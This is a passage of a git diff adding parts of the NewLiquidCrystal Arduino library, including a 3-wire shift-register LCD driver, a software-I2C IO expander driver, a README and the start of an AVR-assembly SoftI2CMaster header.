uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol) +{ + init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); + setBacklightPin(backlighPin, pol); +} + + +void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode) +{ + + if ( mode != FOUR_BITS ) + { + write4bits( (value >> 4), mode ); // upper nibble + } + write4bits( (value & 0x0F), mode); // lower nibble + + +#if (F_CPU <= 16000000) + // No need to use the delay routines on AVR since the time taken to write + // on AVR with SR pin mapping even with fio is longer than LCD command execution. + waitUsec(37); //goes away on AVRs +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif + +} + + +void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = pol; + setBacklight (BACKLIGHT_OFF); // Set backlight to off as initial setup +} + +void LiquidCrystal_SR3W::setBacklight ( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + loadSR( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// ----------------------------------------------------------------------------- + +int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t Rs, uint8_t Rw, uint8_t En, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + _data = fio_pinToBit(data); + _clk = fio_pinToBit(clk); + _strobe = fio_pinToBit(strobe); + _data_reg = fio_pinToOutputRegister(data); + _clk_reg = fio_pinToOutputRegister(clk); + _strobe_reg = fio_pinToOutputRegister(strobe); + + // LCD pin mapping + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + return (1); +} + +void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + mode = ( mode == DATA ) ? _Rs : 0; + + pinMapValue |= mode | _backlightStsMask; + loadSR ( pinMapValue | _En ); // Send with enable high + loadSR ( pinMapValue); // Send with enable low +} + + +void LiquidCrystal_SR3W::loadSR(uint8_t value) +{ + // Load the shift register with information + fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST); + + // Strobe the data into the latch + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_strobe_reg, _strobe); + fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW); + } +} diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR3W.h b/libraries/NewliquidCrystal/LiquidCrystal_SR3W.h new file mode 100644 index 0000000..fccaa98 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR3W.h @@ -0,0 +1,204 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 7.3.2012. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR3W.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using a generic SHIFT REGISTER extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using a 3 wire latching +// shift register. While it has been tested with a 74HC595N shift register +// it should also work with other latching shift registers such as the MC14094 +// and the HEF4094 +// +// This particular driver has been created as generic as possible to enable +// users to configure and connect their LCDs using just 3 digital IOs from the +// AVR or Arduino, and connect the LCD to the outputs of the shiftregister +// in any configuration. The library is configured by passing the IO pins +// that control the strobe, data and clock of the shift register and a map +// of how the shiftregister is connected to the LCD. +// +// +// +--------------------------------------------+ +// | MCU | +// | IO1 IO2 IO3 | +// +----+-------------+-------------+-----------+ +// | | | +// | | | +// +----+-------------+-------------+-----------+ +// | Strobe Data Clock | +// | 8-bit shift/latch register | 74HC595N +// | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | +// +----+----+----+----+----+----+----+----+----+ +// | | | | | | | +// |11 |12 |13 |14 |6 |5 |4 (LCD pins) +// +----+----+----+----+----+----+----+----+----+ +// | DB4 DB5 DB6 DB7 E Rw RS | +// | LCD Module | +// +// NOTE: Rw is not used by the driver so it can be connected to GND. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR3W_H_ +#define _LIQUIDCRYSTAL_SR3W_H_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +class LiquidCrystal_SR3W : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the IO driving the + shift register. The constructor does not initialize the LCD. + Default configuration: + Shift register LCD + QA - 0 DB4 + QB - 1 DB5 + QC - 2 DB6 + QD - 3 DB7 + QE - 4 E + QF - 5 + QG - 6 Rs + GND Rw + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to the shiftregister data pin. + @param clk[in] digital IO connected to the shiftregister clock pin. + */ + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe); + // Constructor with backlight control + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the control lines of + the LCD and the shiftregister. The constructor does not initialize the LCD. + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to shiftregister data pin. + @param clk[in] digital IO connected to shiftregister clock pin. + @param En[in] LCD En (Enable) pin connected to SR output pin. + @param Rw[in] LCD Rw (Read/write) pin connected to SR output pin. + @param Rs[in] LCD Rs (Reg Select) pin connected to SR output pin. + @param d4[in] LCD data 4 pin map to the SR output pin. + @param d5[in] LCD data 5 pin map to the SR output pin. + @param d6[in] LCD data 6 pin map to the SR output pin. + @param d7[in] LCD data 7 pin map to the SR output pin. + */ + LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_SR3W( uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param value: pin mapped on the 74HC595N (0, .., 7) for (Qa0, .., Qh7) + respectively. + @param pol: polarity POSITIVE|NEGATIVE. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t Rs, uint8_t Rw, uint8_t En, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @function + @abstract load into the shift register a byte + @discussion loads into the shift register a byte + @param value[in]: value to be loaded into the shiftregister. + */ + void loadSR(uint8_t value); + + + fio_bit _strobe; // shift register strobe pin + fio_register _strobe_reg; // SR strobe pin MCU register + fio_bit _data; // shift register data pin + fio_register _data_reg; // SR data pin MCU register + fio_bit _clk; // shift register clock pin + fio_register _clk_reg; // SR clock pin MCU register + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + +}; + +#endif + diff --git a/libraries/NewliquidCrystal/README.md b/libraries/NewliquidCrystal/README.md new file mode 100644 index 0000000..9056baa --- /dev/null +++ b/libraries/NewliquidCrystal/README.md @@ -0,0 +1,47 @@ +# README # + +## Introduction ## + +![LCD library](https://bitbucket.org/fmalpartida/new-liquidcrystal/downloads/I2CLCDextraIO_assemblyProject_small.jpg) + +Welcome to the *LCD Library* for **Arduino** and **Chipkit**. It is a derivate of the original LiquidCrystal Library as sourced in the Arduino SDK. It has been developed to be compatible with the current LiquidCrystal library, +its performance is almost 5 times faster and fully extendable if need be. + +It supports most ``Hitachi HD44780`` based LCDs, or compatible, connected to any project using: 4, 8 +wire parallel interface, I2C IO port expander (native I2C and bit bang) and Shift Regiter. + +It currently supports 4 types of connections: + +* 4 bit parallel LCD interface +* 8 bit parallel LCD interface +* I2C IO bus expansion board with the PCF8574* I2C IO expander ASIC such as [I2C LCD extra IO](http://www.electrofunltd.com/2011/10/i2c-lcd-extra-io.html "I2C LCD extra IO"). +* ShiftRegister adaptor board as described [Shift Register project home](http://code.google.com/p/arduinoshiftreglcd/ "Shift Register project home") or in the HW configuration described below, 2 and 3 wire configurations supported. +* ShiftRegister 3 wire latch adaptor board as described [ShiftRegister 3 Wire Home](http://www.arduino.cc/playground/Code/LCD3wires "ShiftRegister 3 Wire Home") +* Support for 1 wire shift register [ShiftRegister 1 Wire](http://www.romanblack.com/shift1.htm "ShiftRegister 1 Wire") +* I2C bus expansion using general purpose IO lines. + +### How do I get set up? ### + +* Please refer to the project's [wiki](https://bitbucket.org/fmalpartida/new-liquidcrystal/wiki/Home "wiki") + + +### Contributors +The library has had the invaluable contribution of: + +* [piccaso](http://www.3guys1laser.com/blog-cheap-arduino-2-wire-lcd-display-0 "picas") - Florian Fida - Flo, thanks for testing and improving the SR library, initial version of the 1 wire interface and speed improvements. +* B. Perry - *bperrybap@opensource.billsworld.billandterrie.com*, with his thoughtful contribution, speed improvements and development support for the SR2W library. +* Adrian Piccioli, with his contribution to the i2c GPIO support. +* [todbot](https://github.com/todbot "todbot") Tod E. Kurt for the [softwarei2cmaster](https://github.com/todbot/SoftI2CMaster "softwarei2cmaster") library. + +#### Contribution guidelines + +* Writing tests +* Code review +* Help out with bug fixing +* Setup a project logo +* Write new drivers to support more LCDs. + +### Who do I talk to? ### + +* Repo owner or admin +* For SoftI2CMaster latest versions, updates and support, please refer to [SoftI2CMaster](https://github.com/todbot/SoftI2CMaster "todbot") \ No newline at end of file diff --git a/libraries/NewliquidCrystal/SI2CIO.cpp b/libraries/NewliquidCrystal/SI2CIO.cpp new file mode 100644 index 0000000..e3caa76 --- /dev/null +++ b/libraries/NewliquidCrystal/SI2CIO.cpp @@ -0,0 +1,206 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file SI2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip, but using software I2C. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include + +/*#define SCL_PIN 6 +#define SCL_PORT PORTD +#define SDA_PIN 7 +#define SDA_PORT PORTD*/ + +//#define I2C_FASTMODE 1 +//#define I2C_SLOWMODE 1 + +#define SCL_PIN 0 +#define SCL_PORT PORTB +#define SDA_PIN 1 +#define SDA_PORT PORTB + +#include "SI2CIO.h" +#include "SoftI2CMaster.h" + + +// CLASS VARIABLES +// --------------------------------------------------------------------------- + + +// CONSTRUCTOR +// --------------------------------------------------------------------------- +SI2CIO::SI2CIO ( ) +{ + _i2cAddr = 0x0; + _dirMask = 0xFF; // mark all as INPUTs + _shadow = 0x0; // no values set + _initialised = false; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +int SI2CIO::begin ( uint8_t i2cAddr ) +{ + _i2cAddr = i2cAddr; + + i2c_init(); + + _initialised = i2c_start(_i2cAddr | I2C_READ); + + _shadow = i2c_read(true); + + i2c_stop(); + + return ( _initialised ); +} + +// +// pinMode +void SI2CIO::pinMode ( uint8_t pin, uint8_t dir ) +{ + if ( _initialised ) + { + if ( OUTPUT == dir ) + { + _dirMask &= ~( 1 << pin ); + } + else + { + _dirMask |= ( 1 << pin ); + } + } +} + +// +// portMode +void SI2CIO::portMode ( uint8_t dir ) +{ + + if ( _initialised ) + { + if ( dir == INPUT ) + { + _dirMask = 0xFF; + } + else + { + _dirMask = 0x00; + } + } +} + +// +// read +uint8_t SI2CIO::read ( void ) +{ + uint8_t retVal = 0; + + if ( _initialised ) + { + i2c_start(_i2cAddr | I2C_READ); + + retVal = (_dirMask & i2c_read(true)); + + i2c_stop(); + } + return ( retVal ); +} + +// +// write +int SI2CIO::write ( uint8_t value ) +{ + int status = 0; + + if ( _initialised ) + { + // Only write HIGH the values of the ports that have been initialised as + // outputs updating the output shadow of the device + _shadow = ( value & ~(_dirMask) ); + + status = i2c_start(_i2cAddr | I2C_WRITE); + + status &= i2c_write(_shadow); + + i2c_stop(); + } + return ( (status == 0) ); +} + +// +// digitalRead +uint8_t SI2CIO::digitalRead ( uint8_t pin ) +{ + uint8_t pinVal = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Remove the values which are not inputs and get the value of the pin + pinVal = this->read() & _dirMask; + pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value + } + return (pinVal); +} + +// +// digitalWrite +int SI2CIO::digitalWrite ( uint8_t pin, uint8_t level ) +{ + uint8_t writeVal; + int status = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Only write to HIGH the port if the port has been configured as + // an OUTPUT pin. Add the new state of the pin to the shadow + writeVal = ( 1 << pin ) & ~_dirMask; + if ( level == HIGH ) + { + _shadow |= writeVal; + } + else + { + _shadow &= ~writeVal; + } + status = this->write ( _shadow ); + } + return ( status ); +} + +// +// PRIVATE METHODS +// --------------------------------------------------------------------------- diff --git a/libraries/NewliquidCrystal/SI2CIO.h b/libraries/NewliquidCrystal/SI2CIO.h new file mode 100644 index 0000000..ab5095b --- /dev/null +++ b/libraries/NewliquidCrystal/SI2CIO.h @@ -0,0 +1,149 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file SI2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip, but using software I2C. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com +// --------------------------------------------------------------------------- + +#ifndef _SI2CIO_H_ +#define _SI2CIO_H_ + +#include + +#define _SI2CIO_VERSION "1.0.0" + +/*! + @class + @abstract SI2CIO + @discussion Library driver to control PCF8574 based ASICs. Implementing + library calls to set/get port through I2C bus. + */ + +class SI2CIO +{ +public: + /*! + @method + @abstract Constructor method + @discussion Class constructor constructor. + */ + SI2CIO ( ); + + /*! + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise + */ + int begin ( uint8_t i2cAddr ); + + /*! + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). + */ + void pinMode ( uint8_t pin, uint8_t dir ); + + /*! + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). + */ + void portMode ( uint8_t dir ); + + /*! + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none + */ + uint8_t read ( void ); + + /*! + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. + */ + uint8_t digitalRead ( uint8_t pin ); + + /*! + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise + */ + int write ( uint8_t value ); + + /*! + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. + */ + int digitalWrite ( uint8_t pin, uint8_t level ); + + + +private: + uint8_t _shadow; // Shadow output + uint8_t _dirMask; // Direction mask + uint8_t _i2cAddr; // I2C address + bool _initialised; // Initialised object + +}; + +#endif \ No newline at end of file diff --git a/libraries/NewliquidCrystal/SoftI2CMaster.h b/libraries/NewliquidCrystal/SoftI2CMaster.h new file mode 100644 index 0000000..3ca7caf --- /dev/null +++ b/libraries/NewliquidCrystal/SoftI2CMaster.h @@ -0,0 +1,509 @@ +/* Arduino SoftI2C library. + * + * This is a very fast and very light-weight software I2C-master library + * written in assembler. It is based on Peter Fleury's I2C software + * library: http://homepage.hispeed.ch/peterfleury/avr-software.html + * + * + * This Library is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This Library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with the Arduino I2cMaster Library. If not, see + * . + */ + +/* In order to use the library, you need to define SDA_PIN, SCL_PIN, + * SDA_PORT and SCL_PORT before including this file. Have a look at + * http://www.arduino.cc/en/Reference/PortManipulation for finding out + * which values to use. For example, if you use digital pin 3 for + * SDA and digital pin 13 for SCL you have to use the following + * definitions: + * #define SDA_PIN 3 + * #define SDA_PORT PORTB + * #define SCL_PIN 5 + * #define SCL_PORT PORTB + * + * You can also define the following constants (see also below): + * - I2C_CPUFREQ, when changing CPU clock frequency dynamically + * - I2C_FASTMODE = 1 meaning that the I2C bus allows speeds up to 400 kHz + * - I2C_SLOWMODE = 1 meaning that the I2C bus will allow only up to 25 kHz + * - I2C_NOINTERRUPT = 1 in order to prohibit interrupts while + * communicating (see below). This can be useful if you use the library + * for communicationg with SMbus devices, which have timeouts. + * Note, however, that interrupts are disabledfrom issuing a start condition + * until issuing a stop condition. So use this option with care! + * - I2C_TIMEOUT = 0..10000 mssec in order to return from the I2C functions + * in case of a I2C bus lockup (i.e., SCL constantly low). 0 means no timeout + */ + +/* Changelog: + * Version 1.1: + * - removed I2C_CLOCK_STRETCHING + * - added I2C_TIMEOUT time in msec (0..10000) until timeout or 0 if no timeout + * - changed i2c_init to return true iff both SDA and SCL are high + * - changed interrupt disabling so that the previous IRQ state is retored + * Version 1.0: basic functionality + */ +#include +#include + +#ifndef _SOFTI2C_H +#define _SOFTI2C_H 1 + +// Init function. Needs to be called once in the beginning. +// Returns false if SDA or SCL are low, which probably means +// a I2C bus lockup or that the lines are not pulled up. +boolean __attribute__ ((noinline)) i2c_init(void); + +// Start transfer function: is the 8-bit I2C address (including the R/W +// bit). +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_start(uint8_t addr); + +// Similar to start function, but wait for an ACK! Be careful, this can +// result in an infinite loop! +void __attribute__ ((noinline)) i2c_start_wait(uint8_t addr); + +// Repeated start function: After having claimed the bus with a start condition, +// you can address another or the same chip again without an intervening +// stop condition. +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_rep_start(uint8_t addr); + +// Issue a stop condition, freeing the bus. +void __attribute__ ((noinline)) i2c_stop(void) asm("ass_i2c_stop"); + +// Write one byte to the slave chip that had been addressed +// by the previous start call. is the byte to be sent. +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_write(uint8_t value) asm("ass_i2c_write"); + +// Read one byte. If is true, we send a NAK after having received +// the byte in order to terminate the read sequence. +uint8_t __attribute__ ((noinline)) i2c_read(bool last); + +// You can set I2C_CPUFREQ independently of F_CPU if you +// change the CPU frequency on the fly. If do not define it, +// it will use the value of F_CPU +#ifndef I2C_CPUFREQ +#define I2C_CPUFREQ F_CPU +#endif + +// If I2C_FASTMODE is set to 1, then the highest possible frequency below 400kHz +// is selected. Be aware that not all slave chips may be able to deal with that! +#ifndef I2C_FASTMODE +#define I2C_FASTMODE 0 +#endif + +// If I2C_FASTMODE is not defined or defined to be 0, then you can set +// I2C_SLOWMODE to 1. In this case, the I2C frequency will not be higher +// than 25KHz. This could be useful for problematic buses. +#ifndef I2C_SLOWMODE +#define I2C_SLOWMODE 0 +#endif + +// if I2C_NOINTERRUPT is 1, then the I2C routines are not interruptable. +// This is most probably only necessary if you are using a 1MHz system clock, +// you are communicating with a SMBus device, and you want to avoid timeouts. +// Be aware that the interrupt bit is enabled after each call. So the +// I2C functions should not be called in interrupt routines or critical regions. +#ifndef I2C_NOINTERRUPT +#define I2C_NOINTERRUPT 0 +#endif + +// I2C_TIMEOUT can be set to a value between 1 and 10000. +// If it is defined and nonzero, it leads to a timeout if the +// SCL is low longer than I2C_TIMEOUT milliseconds, i.e., max timeout is 10 sec +#ifndef I2C_TIMEOUT +#define I2C_TIMEOUT 0 +#else +#if I2C_TIMEOUT > 10000 +#error I2C_TIMEOUT is too large +#endif +#endif + +#define I2C_TIMEOUT_DELAY_LOOPS (I2C_CPUFREQ/1000UL)*I2C_TIMEOUT/4000UL +#if I2C_TIMEOUT_DELAY_LOOPS < 1 +#define I2C_MAX_STRETCH 1 +#else +#if I2C_TIMEOUT_DELAY_LOOPS > 60000UL +#define I2C_MAX_STRETCH 60000UL +#else +#define I2C_MAX_STRETCH I2C_TIMEOUT_DELAY_LOOPS +#endif +#endif + +#if I2C_FASTMODE +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/400000L)/2-19)/3) +#else +#if I2C_SLOWMODE +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/25000L)/2-19)/3) +#else +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/100000L)/2-19)/3) +#endif +#endif + +// Table of I2C bus speed in kbit/sec: +// CPU clock: 1MHz 2MHz 4MHz 8MHz 16MHz 20MHz +// Fast I2C mode 40 80 150 300 400 400 +// Standard I2C mode 40 80 100 100 100 100 +// Slow I2C mode 25 25 25 25 25 25 + +// constants for reading & writing +#define I2C_READ 1 +#define I2C_WRITE 0 + +// map the IO register back into the IO address space +#define SDA_DDR (_SFR_IO_ADDR(SDA_PORT) - 1) +#define SCL_DDR (_SFR_IO_ADDR(SCL_PORT) - 1) +#define SDA_OUT _SFR_IO_ADDR(SDA_PORT) +#define SCL_OUT _SFR_IO_ADDR(SCL_PORT) +#define SDA_IN (_SFR_IO_ADDR(SDA_PORT) - 2) +#define SCL_IN (_SFR_IO_ADDR(SCL_PORT) - 2) + +#ifndef __tmp_reg__ +#define __tmp_reg__ 0 +#endif + + +// Internal delay functions. +void __attribute__ ((noinline)) i2c_delay_half(void) asm("ass_i2c_delay_half"); +void __attribute__ ((noinline)) i2c_wait_scl_high(void) asm("ass_i2c_wait_scl_high"); + +void i2c_delay_half(void) +{ // function call 3 cycles => 3C +#if I2C_DELAY_COUNTER < 1 + __asm__ __volatile__ (" ret"); + // 7 cycles for call and return +#else + __asm__ __volatile__ + ( + " ldi r25, %[DELAY] ;load delay constant ;; 4C \n\t" + "_Lidelay: \n\t" + " dec r25 ;decrement counter ;; 4C+xC \n\t" + " brne _Lidelay ;;5C+(x-1)2C+xC\n\t" + " ret ;; 9C+(x-1)2C+xC = 7C+xC" + : : [DELAY] "M" I2C_DELAY_COUNTER : "r25"); + // 7 cycles + 3 times x cycles +#endif +} + +void i2c_wait_scl_high(void) +{ +#if I2C_TIMEOUT <= 0 + __asm__ __volatile__ + ("_Li2c_wait_stretch: \n\t" + " sbis %[SCLIN],%[SCLPIN] ;wait for SCL high \n\t" + " rjmp _Li2c_wait_stretch \n\t" + " cln ;signal: no timeout \n\t" + " ret " + : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN)); +#else + __asm__ __volatile__ + ( " ldi r27, %[HISTRETCH] ;load delay counter \n\t" + " ldi r26, %[LOSTRETCH] \n\t" + "_Lwait_stretch: \n\t" + " clr __tmp_reg__ ;do next loop 255 times \n\t" + "_Lwait_stretch_inner_loop: \n\t" + " rcall _Lcheck_scl_level ;call check function ;; 12C \n\t" + " brpl _Lstretch_done ;done if N=0 ;; +1 = 13C\n\t" + " dec __tmp_reg__ ;dec inner loop counter;; +1 = 14C\n\t" + " brne _Lwait_stretch_inner_loop ;; +2 = 16C\n\t" + " sbiw r26,1 ;dec outer loop counter \n\t" + " brne _Lwait_stretch ;continue with outer loop \n\t" + " sen ;timeout -> set N-bit=1 \n\t" + " rjmp _Lwait_return ;and return with N=1\n\t" + "_Lstretch_done: ;SCL=1 sensed \n\t" + " cln ;OK -> clear N-bit \n\t" + " rjmp _Lwait_return ; and return with N=0 \n\t" + + "_Lcheck_scl_level: ;; call = 3C\n\t" + " cln ;; +1C = 4C \n\t" + " sbic %[SCLIN],%[SCLPIN] ;skip if SCL still low ;; +2C = 6C \n\t" + " rjmp _Lscl_high ;; +0C = 6C \n\t" + " sen ;; +1 = 7C\n\t " + "_Lscl_high: " + " nop ;; +1C = 8C \n\t" + " ret ;return N-Bit=1 if low ;; +4 = 12C\n\t" + + "_Lwait_return:" + : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN), + [HISTRETCH] "M" (I2C_MAX_STRETCH>>8), + [LOSTRETCH] "M" (I2C_MAX_STRETCH&0xFF) + : "r26", "r27"); +#endif +} + + +boolean i2c_init(void) +{ + __asm__ __volatile__ + (" cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " cbi %[SDAOUT],%[SDAPIN] ;clear SDA output value \n\t" + " cbi %[SCLOUT],%[SCLPIN] ;clear SCL output value \n\t" + " clr r24 ;set return value to false \n\t" + " clr r25 ;set return value to false \n\t" + " sbis %[SDAIN],%[SDAPIN] ;check for SDA high\n\t" + " ret ;if low return with false \n\t" + " sbis 